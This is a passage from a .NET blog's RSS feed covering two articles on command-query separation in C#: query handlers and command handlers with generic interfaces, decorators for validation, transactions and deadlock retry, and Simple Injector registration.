applications I work on, but I wouldn&rsquo;t use such an abstraction too often. I certainly wouldn&rsquo;t advocate an <span class="type">ICommandProcessor</span> for executing commands - consumers are less likely to take a dependency on many command handlers and if they do it would probably be a violation of SRP.</p><p style="padding-left: 45px"><em><strong>One word of advice</strong>: When you start using this design, start out <u>without</u> the <span class="type">IQueryProcessor</span> abstraction because of the reasons I described. It can always be added later on without any problem. </em></p><p>A consequence of the design based on the <span class="type">IQueryHandler</span> interface is that there will be a lot of small classes in the system. Having a lot of small / focused classes (with clear names) is a good thing, but in this scenario, it might create some overhead, since every query handler would have a constructor that takes some dependencies and stores them in local variables (like I said, C# is a very verbose for doing constructor injection, but it's currently still the best language we've got). </p><p>There are ways to remove that overhead (besides using the T4 template I described before), you can for example merge multiple query handlers into a single class:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class UserQueryHandlers :<br />    IQueryHandler&lt;FindUsersBySearchTextQuery, User[]&gt;,<br />    IQueryHandler&lt;GetUsersByRolesQuery, User[]&gt;,<br />    IQueryHandler&lt;GetHighUsageUsersQuery, UserInfo[]&gt;<br />{<br />    private readonly NorthwindUnitOfWork db;<br /> <br />    public UserQueryHandlers(NorthwindUnitOfWork db)<br />    {<br />        this.db = db;<br />    }<br /> <br />    public User[] Handle(FindUsersBySearchTextQuery query)<br />    {<br />        return (<br />            from user in this.db.Users<br />            where user.Name.Contains(query.SearchText)<br />            select user)<br />            .ToArray();<br />    }<br /> <br />    public User[] Handle(GetUsersByRolesQuery query)<br />    {<br />        // Query here<br />    }<br /> <br />    public UserInfo[] Handle(GetHighUsageUsersQuery query)<br />    {<br />        // Query here<br />    }<br /><br />    // More methods here.<br />}</pre><p>Although the <span class="type">UserQueryHandlers</span> class resembles the initial design we are trying to prevent, there is one crucial difference:&nbsp; it implements <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span> multiple times, once per query. This allows us to register this class multiple times, once per implemented interface. Although this class violates the SRP, it gives us all the previously described advantages and doesn't violate OCP or ISP.</p><p>When using a Dependency Injection framework, we can normally register all query handlers with a single call (depending on the framework), because all the handlers implement the same <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span> interface. Your mileage may vary, but with the <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector">Simple Injector</a>, the registration looks like this:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterManyForOpenGeneric(typeof(IQueryHandler&lt;,&gt;),<br />    typeof(IQueryHandler&lt;,&gt;).Assembly);</pre><p>This code saves is from having to change the DI configuration each time we add a new query handler to the system. They will all be picked up automatically.</p><p>With this design in place we can add cross-cutting concerns such as logging, audit trail, etc. Or let&rsquo;s say you want to decorate properties of the query objects with <a rel="external" href="http://www.asp.net/mvc/tutorials/older-versions/models-%28data%29/validation-with-the-data-annotation-validators-cs" title=".NET Data Annotations">Data Annotations</a> attributes, to enable validation:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class FindUsersBySearchTextQuery : IQuery&lt;User[]&gt;<br />{<br />    // Required and StringLength are attributes from the<br />    // System.ComponentModel.DataAnnotations assembly.<br />    [Required]<br />    [StringLength(1)]<br />    public string SearchText { get; set; }<br /> <br />    public bool IncludeInactiveUsers { get; set; }<br />}</pre><p>Because we modeled our query handlers around a single <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span> interface, we can define a simple decorator that validates all query messages before they are passed to their handlers:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class ValidationQueryHandlerDecorator&lt;TQuery, TResult&gt;<br />    : IQueryHandler&lt;TQuery, TResult&gt;<br />    where TQuery : IQuery&lt;TResult&gt;<br />{<br />    private readonly IServiceProvider provider;<br />    private readonly IQueryHandler&lt;TQuery, TResult&gt; decorated;<br /> <br />    [DebuggerStepThrough]<br />    public ValidationQueryHandlerDecorator(<br />        Container container,<br />        IQueryHandler&lt;TQuery, TResult&gt; decorated)<br />    {<br />        this.provider = container;<br />        this.decorated = decorated;<br />    }<br /> <br />    [DebuggerStepThrough]<br />    public TResult Handle(TQuery query)<br />    {<br />        var validationContext =<br />            new ValidationContext(query, this.provider, null);<br /> <br />        Validator.ValidateObject(query, validationContext);<br /><br />        return this.decorated.Handle(query);<br />    }<br />}</pre><p>All without changing any of the existing code in our system beyond adding the following new line of code in the <em>Composition Root</em>:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterDecorator(typeof(IQueryHandler&lt;,&gt;),<br />    typeof(ValidationQueryHandlerDecorator&lt;,&gt;));</pre><p>If you're concerned about performance and worry that this would add too much overhead by wrapping query handlers that don't need validation with a decorator, a DI container such as Simple Injector allows you to easily configure a conditional decorator:</p><pre class="cs" language="csharp" customtypes="IQueryHandler ValidationQueryHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">// using SimpleInjector.Extensions;<br />container.RegisterDecorator(typeof(IQueryHandler&lt;,&gt;),<br />    typeof(ValidationQueryHandlerDecorator&lt;,&gt;),<br />    context =&gt; ShouldQueryHandlerBeValidated(context.ServiceType));</pre><p>The applied predicate is evaluated just once per closed generic <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span> type, so there is no performance loss in registering such a conditional decorator (or at least, with Simple Injector there isn't). As I said, your mileage may vary when using other DI frameworks.</p><p>I&rsquo;ve been using this model for some time now but there is one thing that struck me early on - everything in the system is a query or a command and if we want, we can model every single operation in this way. But do we really want to? No, definitely not, mostly because it doesn&rsquo;t always result in the most readable code. Take a look at this example:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public IQueryable&lt;Order&gt; Handle(<br />    GetRecentOrdersForLoggedInUserQuery query)<br />{<br />    int currentUserId =<br />        this.userHandler.Handle(new GetCurrentUserIdQuery());<br /> <br />    DateTime currentTime =<br />        this.timeHandler.Handle(new GetCurrentTimeQuery());<br /> <br />    return<br />        from order in db.Orders<br />        where order.User.Id == currentUserId<br />        where order.CreateDate &gt;= currentTime.AddDays(-30)<br />        select order;<br />}</pre><p>This query method is composed of other queries. Composing queries out of other queries is a great way to improve modularity and manage the complexity of the system. But still there is something smelly about this code. Personally, I find the following example easier to read:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public IQueryable&lt;Order&gt; Handle(<br />    GetRecentOrdersForLoggedInUserQuery query)<br />{<br />    return<br />        from order in db.Orders<br />        where order.User.Id == this.userContext.UserId<br />        where order.CreateDate &gt;=<br />            this.timeProvider.Now.AddDays(-30)<br />        select order;<br />}</pre><p>The previous sub queries are in this version replaced with the <span class="type">IUserContext</span> and <span class="type">ITimeProvider</span> services. Because of this, the method is now more consise and compact.</p><p>So where do we draw the line between using an <span class="type">IQuery</span><span class="code">&lt;TResult&gt;</span> and specifying an explicit separate service interface? I can&rsquo;t really define any specific rules on that; a little bit of intuition and experience will have to guide you. But to give a little bit of guidance, when a query returns a (cached) value without really hitting an external resource, such as the file system, web service, or database, and it doesn&rsquo;t contain any parameters, and you&rsquo;re pretty sure you never want to wrap it with a decorator (no performance measuring, no audit trailing, no authorization) it&rsquo;s pretty safe to define it as a specific service interface. Another way to view this is to use this design to define business questions: things the business wants to know. In other words, use the <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span> and <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> abstractions as the communication layer between the business layer and the layers above. </p><p>That&rsquo;s how I roll on the query side of my architecture.</p> ]]></description>
			<guid isPermaLink="false">92@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Architecture, Dependency injection</category>
			<pubDate>Sun, 18 Dec 2011 17:19:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Meanwhile... on the command side of my architecture</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=91</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=91#comm</comments>
                        <description><![CDATA[ This article describes how a single interface can transform the design of your application to be much cleaner, and more flexible than you ever thought possible.<p style="padding-left: 40px"><em>If you find this article interesting, you should also read my follow up: <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=92" title=".NET Junkie - Meanwhile&hellip; on the query side of my architecture">Meanwhile... on the query side of my architecture</a>.</em></p><p>Since I began writing applications in .NET I've been separating operations that mutate state (of the database mostly) from operations that return data. This is basically what the <a rel="external" href="http://en.wikipedia.org/wiki/Command-query_separation" title="Wikipedia - Command-query separation principle">Command-query separation principle</a> is about. Over time the designs I have used have evolved. Initially triggered by a former colleague of mine I started to use the <a rel="external" href="http://en.wikipedia.org/wiki/Command_pattern" title="Wikipedia - Command pattern">Command Pattern</a> about four years ago. Back then we called them business commands and a single command would represent an atomic business operation, or <a rel="external" href="http://en.wikipedia.org/wiki/Use_case" title="Wikipedia - Use case">use case</a>.</p><p>Over the years, the projects I have participated on have increased in complexity and I have adopted newer techniques such as <a rel="external" href="http://en.wikipedia.org/wiki/Test-driven_development" title="Wikipedia - TDD">Test Driven Development</a> and <a rel="external" href="http://en.wikipedia.org/wiki/Dependency_injection" title="Wikipedia - Dependency injection">Dependency Injection</a> (DI). The flaws in this approach to the Command Pattern have become obvious to me. DI has a tendency of exposing violations of the <a rel="external" href="http://en.wikipedia.org/wiki/SOLID" title="Wikipedia - SOLID object oriented design principles">SOLID</a> principles and this implementation hindered the maintainability of these applications.</p><p>In the early days my implementation of the Command Pattern design consisted of classes that contained both properties to hold the data and an <span class="code">Execute()</span> method that would start the operation. The design had an abstract <span class="type">Command</span> base class that contained all of logic for handling transactions, re-executing commands after a deadlock occurred, measuring performance, security checks, etc. This base class was a big <a rel="external" href="http://en.wikipedia.org/wiki/Code_smell" title="Wikipedia - Code smell">code smell</a> and was a form of <a rel="external" href="http://en.wikipedia.org/wiki/God_object" title="Wikipedia - God object">God Object</a> with many responsibilities. Furthermore, having data and behavior interleaved made it very difficult to mock/abstract that logic during unit testing. For example a consumer of a command would typically new up a command instance and call <span class="code">Execute()</span> directly on it, as shown in the following example:</p><pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">var command = new MoveCustomerCommand<br />{<br />    CustomerId = customerId,<br />    NewAddress = address<br />};<br /><br />command.Execute();<br /></pre></p><p>I tried to solve this problem by injecting the command into the constructor of a consumer  (constructor injection), but this was awkward to say the least. It remained the responsibility of the consumer to set all the properties of the object that was passed in and didn't really solve the problem of abstracting away the command elegantly. To prevent the command's logic from being executed, I had to define a fake version of each command for testing and it did nothing to reduce the large and complicated base class.</p><p>All of these experiences led me to try a design that I had seen others use, but that I had never seen the benefits of. In this new design, data and behavior are separated. Each business operation has a simple data container called the command object (a <a rel="external" href="http://en.wikipedia.org/wiki/Data_transfer_object" title="Wikipedia - Data transfer object">DTO</a>); my standard naming convention for these classes is to suffix them with 'Command':</p> <pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">public class MoveCustomerCommand<br />{<br />    public int CustomerId { get; set; }<br /> <br />    public Address NewAddress { get; set; }<br />}</pre><p>The logic gets its own separate class; my standard naming convention for these classes is to suffix them with 'CommandHandler':</p><pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">public class MoveCustomerCommandHandler<br />{<br />    private readonly UnitOfWork db;<br /><br />    public MoveCustomerCommandHandler(UnitOfWork db,<br />        [Other dependencies here])<br />    {<br />        this.db = db;<br />    }<br /> <br />    public virtual void Handle(MoveCustomerCommand command)<br />    {<br />        // TODO: Logic here<br />    }<br />}<br /></pre></p><p>This design gives us a lot; a command handler can be injected into a consumer, while the consumer can simply new up the related command object. Because the command only contains data, there no longer a reason to fake the command during testing. Here&rsquo;s an example of how a consumer can use that command and command handler:</p> <pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">public class CustomerController : Controller<br />{<br />    private readonly MoveCustomerCommandHandler handler;<br /> <br />    public CustomerController(<br />        MoveCustomerCommandHandler handler)<br />    {<br />        this.handler = handler;<br />    }<br /> <br />    public void MoveCustomer(int customerId, <br />        Address newAddress)<br />    {<br />        var command = new MoveCustomerCommand<br />        {<br />            CustomerId = customerId,<br />            NewAddress = newAddress<br />        };<br /> <br />        this.handler.Handle(command);<br />    }<br />}<br /></pre><p>There is still a problem with this design. Although every handler class has a single (public) method (and therefore adheres the <a rel="external" href="http://en.wikipedia.org/wiki/Interface_segregation_principle" title="Wikipedia - Interface Segregation Principle">Interface Segregation Principle</a>), all handlers define their own interface (there is no common interface). This makes it hard to extend the command handlers with new features and cross-cutting concerns. For example, we would like to measure the time it takes to execute every command and log this information to the database. How can we do this? In the past we would either change each and every command handler, or move the logic into a base class. Moving this feature into the base class is not ideal as the base class will soon contain lots of these common features, and would soon grow out of control (which I have seen happening). Besides, this would make it hard to enable/disable such behavior for certain types (or instances) of command handlers because it would involve adding conditional logic into the base class, making it even more complicated!</p><p>All these problems can be solved elegantly by having all command handlers implement a single generic interface:</p> <pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">public interface ICommandHandler&lt;TCommand&gt;<br />{<br />    void Handle(TCommand command);<br />}<br /></pre><p>Using this interface, the <span class="type">MoveCustomerCommandHandler</span> would now look like this:</p> <pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">// Exactly the same as before, but now with the interface.<br />public class MoveCustomerCommandHandler<br />    : ICommandHandler&lt;MoveCustomerCommand&gt;<br />{<br />    private readonly UnitOfWork db;<br /><br />    public MoveCustomerCommandHandler(UnitOfWork db,<br />        [Other dependencies here])<br />    {<br />        this.db = db;<br />    }<br /> <br />    public void Handle(MoveCustomerCommand command)<br />    {<br />        // TODO: Logic here<br />    }<br />}<br /></pre><p>One important benefit of this interface is that it allows the consumers to depend on the new abstraction, rather than a concrete implementation of the command handler:</p> <pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">// Again, same implementation as before, but now we depend<br />// upon the ICommandHandler abstraction.<br />public class CustomerController : Controller<br />{<br />    private ICommandHandler&lt;MoveCustomerCommand&gt; handler;<br /> <br />    public CustomerController(<br />        ICommandHandler&lt;MoveCustomerCommand&gt; handler)<br />    {<br />        this.handler = handler;<br />    }<br /> <br />    public void MoveCustomer(int customerId, <br />        Address newAddress)<br />    {<br />        var command = new MoveCustomerCommand<br />        {<br />            CustomerId = customerId,<br />            NewAddress = newAddress<br />        };<br /> <br />        this.handler.Handle(command);<br />    }<br />}<br /></pre><p>What does adding an interface give us? Well frankly, a lot! Since nothing depends directly on any implementation but instead depends on an interface, we can now replace the original command handlers with any class that implements the new interface. Ignoring, for now the usual argument of testability, look at this generic class:</p> <pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">public class TransactionCommandHandlerDecorator&lt;TCommand&gt;<br />    : ICommandHandler&lt;TCommand&gt;<br />{<br />    private readonly ICommandHandler&lt;TCommand&gt; decorated;<br /> <br />    public TransactionCommandHandlerDecorator(<br />        ICommandHandler&lt;TCommand&gt; decorated)<br />    {<br />        this.decorated = decorated;<br />    }<br /> <br />    public void Handle(TCommand command)<br />    {<br />        using (var scope = new TransactionScope())<br />        {<br />            this.decorated.Handle(command);<br /> <br />            scope.Complete();<br />        }<br />    }<br />}<br /></pre><p>This class wraps an <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> instance (by accepting an instance of the same interface in its constructor), but at the same time it also implements the same <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> interface. It is an implementation of the <a rel="external" href="http://en.wikipedia.org/wiki/Decorator_pattern" title="Wikipedia - Decorator pattern">Decorator pattern</a>. This very simple class allows us to add transaction support to all of the command handlers.</p><p>Instead of injecting a <span class="type">MoveCustomerCommandHandler</span> directly into the <span class="type">CustomerController</span>, we can now inject the following:</p> <pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">var handler =<br />    new TransactionCommandHandlerDecorator&lt;MoveCustomerCommand&gt;(<br />        new MoveCustomerCommandHandler(<br />            new EntityFrameworkUnitOfWork(connectionString),<br />            // Inject other dependencies for the handler here<br />        )<br />    );<br /> <br />// Inject the handler into the controller&rsquo;s constructor.<br />var controller = new CustomerController(handler);<br /></pre><p>This single decorator class (containing just 5 lines of code) can be reused for all of the command handlers in the system.</p><p>In case you're still not convinced, let's define another decorator:</p><pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">public class DeadlockRetryCommandHandlerDecorator&lt;TCommand&gt;<br />    : ICommandHandler&lt;TCommand&gt;<br />{<br />    private readonly ICommandHandler&lt;TCommand&gt; decorated;<br /> <br />    public DeadlockRetryCommandHandlerDecorator(<br />        ICommandHandler&lt;TCommand&gt; decorated)<br />    {<br />        this.decorated = decorated;<br />    }<br /> <br />    public void Handle(TCommand command)<br />    {<br />        this.HandleWithCountDown(command, 5);<br />    }<br /> <br />    private void HandleWithCountDown(TCommand command,<br />        int count)<br />    {<br />        try<br />        {<br />            this.decorated.Handle(command);<br />        }<br />        catch (Exception ex)<br />        {<br />            if (count &lt;= 0 || !IsDeadlockException(ex))<br />                throw;<br /> <br />            Thread.Sleep(300);<br /> <br />            this.HandleWithCountDown(command, count - 1);<br />        }<br />    }<br /> <br />    private static bool IsDeadlockException(Exception ex)<br />    {<br />        while (ex != null)<br />        {<br />            if (ex is DbException &amp;&amp; <br />                ex.Message.Contains(&quot;deadlock&quot;))<br />            {<br />                return true;<br />            }<br /> <br />            ex = ex.InnerException;<br />        }<br /> <br />        return false;<br />    }<br />}<br /></pre><p>This class should speak for itself - although it contains more code than the previous example, it is still only 14 lines of code. In the event of a database deadlock, it will retry the command 5 times before it leaves the exception bubble up through the call stack. As before we can use this class by wrapping the previous decorator, as follows:</p><pre class="cs" language="csharp" customtypes="Controller Address sController CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork" customvaluetypes="PutYourCustomValueTypesHere">var handler =<br />    new DeadlockRetryCommandHandlerDecorator&lt;MoveCustomerCommand&gt;(<br />        new TransactionCommandHandlerDecorator&lt;MoveCustomerCommand&gt;(<br />            new MoveCustomerCommandHandler(<br />                new EntityFrameworkUnitOfWork(connectionString),<br />                // Inject other dependencies for the handler here<br />            )<br />        )<br />    );<br /><br />var controller = new CustomerController(handler);<br /></pre><p>By the way, did you notice how both decorators are completely focused? They each have just a single responsibility. This makes them easy to understand, easy to change - this is what the <a rel="external" href="http://en.wikipedia.org/wiki/Single_responsibility_principle" title="Wikipedia - Single responsibility principle">Single Responsibility Principle</a> is about.</p><p>The downside of these changes is that it can require a lot of boilerplate code to wire up all the classes that depend on a command handler; but at least the rest of the application is oblivious to this change. When dealing with any more than a handful of command handlers you should consider using <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector">a Dependency Injection framework</a>. Such a framework can automate this wiring for you and will assist in making this area of your application maintainable. </p><p>The system depends on the correct wiring of these dependencies, since wrapping the deadlock retry behavior with the transaction behavior would lead to unexpected behavior (since a database deadlock typically has the effect of the database rolling back the transaction, while leaving the connection open), but this is isolated to the part of the application that wires everything together. Again, the rest of the application is oblivious.</p><p>Both the transaction logic and deadlock retry logic are examples of <a rel="external" href="http://en.wikipedia.org/wiki/Cross-cutting_concern" title="Wikipedia - Cross-cutting concerns">cross-cutting concerns</a>. The use of decorators to add cross-cutting concerns is the cleanest and most effective way to apply these common features. It is a form of <a rel="external" href="http://en.wikipedia.org/wiki/Aspect-oriented_programming" title="Wikipedia - Aspect Oriented Programming">Aspect Oriented Programming</a>. Besides these two examples there are many other cross-cutting concerns I can think of that can be added fairly easy using decorators:</p><ul><li>checking the authorization of the current user before commands get executed,</li><li><a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios&amp;referringTitle=Documentation#Generic_Decorators" title="Simple Injector - Generic Decorators">validating</a> commands before commands get executed,&nbsp;</li><li>measuring the duration of executing commands,&nbsp;</li><li>logging and <a rel="external" href="http://simpleinjector.codeplex.com/discussions/391759#audit_trail" title="Simple Injector - Generic Decorators - Audit Trailing Command Handler Decorator">audit trailing</a>,</li><li>executing commands <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios&amp;referringTitle=Documentation#Decorators_With_Func_Factories" title="Simple Injector - Generic Decorators - Decorators with Func&lt;T&gt; factories">in the background</a>, or</li><li>queuing commands to be processed in a different process. </li></ul><p style="padding-left: 40px; font-size: smaller"><em>&lt;BackgroundStory&gt;This last one is a very interesting one. Years ago I worked on an application that used a database table as queue for commands that would be executed in the future. We wrote business processes (commands by themselves) that sometimes queued dozens of other (sub) commands, which could be processed in parallel by different processes (multiple Windows services on different machines). These commands did things like sending mail or heavy stuff such as payroll calculations, generating PDF documents (that would be merged by another command, and sending those merged documents to a printer by yet another command). The queue was transactional, which allowed us to -in a sense- send mails and upload files to FTP in a transactional manner. However, We didn't use dependency injection back then, which made everything so much harder (if only we knew).&lt;/BackgroundStory&gt;</em></p><p>Because commands are simple data containers without behavior, it is very easy to serialize them (using the <span class="type">XmlSerializer</span> for instance) or send them over the wire (using WCF for instance), which makes it not only easy to queue them for later processing, but ot also makes it very easy to log them in an audit trail- yet another reason to separate data and behavior. All these features can be added, without changing a single line of code in the application (except perhaps a line at the start-up of the application).</p><p>This design makes maintaining web services much easier too. Your (WCF) web service can consist of only one 'handle' method that takes in any command (that you explicitly expose) and can execute these commands (after doing the usual authentication, authorization, and validation of course). Since you will be defining commands and their handlers anyway, your web service project won't have to be changed. If you're interested, take a look at my article <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=95" title=".NET Junkie - Writing Higly Maintainble WCF Services">Writing Highly Maintainable WCF Services</a>. </p><p>One simple <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> interface has made all this possible. While it may seem complex at first, once you get the hang of it (together with dependency injection), well... the possibilities are endless. You may think that you don&rsquo;t need all of this up front when you first design your applications but this design allows you to make many unforeseen changes to the system later without much difficulty. One can hardly argue a system with this design is over-engineered, since every business operation has its own class and we have put a single generic interface over them all. It&rsquo;s hard to over-engineer that - even really small systems can benefit from <a rel="external" href="http://en.wikipedia.org/wiki/Separation_of_concerns" title="Wikipedia - Separation of concerns">separating concerns</a>.</p><p>This doesn't mean things can&rsquo;t get complicated. Correct wiring all of these dependencies, and writing and adding the decorators in the right order can be challenging. But at least this complexity is focused in a single part of the application (the start-up path a.k.a. <a rel="external" href="http://blog.ploeh.dk/2011/07/28/CompositionRoot.aspx" title="Mark Seemann's blog - Composition Root">Composition Root</a>), and it leaves the rest of the application unaware and unaffected. You will rarely need to make sweeping changes across your application, which is what the <a rel="external" href="http://en.wikipedia.org/wiki/Open/closed_principle" title="Wikipedia - Open/closed principle">Open/Closed Principle</a> is all about.</p><p>By the way, you probably think the way I created all those decorators around a single command handler is rather awkward, and imagined the big ball of mud that it would become after we have created a few dozen command handlers. Yes, you are right - this doesn&rsquo;t scale well. But as I already mentioned, this problem is best resolved with a DI framework. For instance, when using <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector">Simple Injector</a>, registering all command handlers in the system can be done with <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios#Registration_Of_Open_Generic_Types" title="Simple Injector - Advanced scenarios - Registration of open generic types">a single line of code</a>. Registering a decorator is another <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios#Generic_Decorators" title="Simple Injector - documentation - Advanced scenarios - Generic Decorators">single line</a>. Here is an example configuration when when using Simple Injector: </p><pre class="cs" language="csharp" customtypes="Controller Address sController 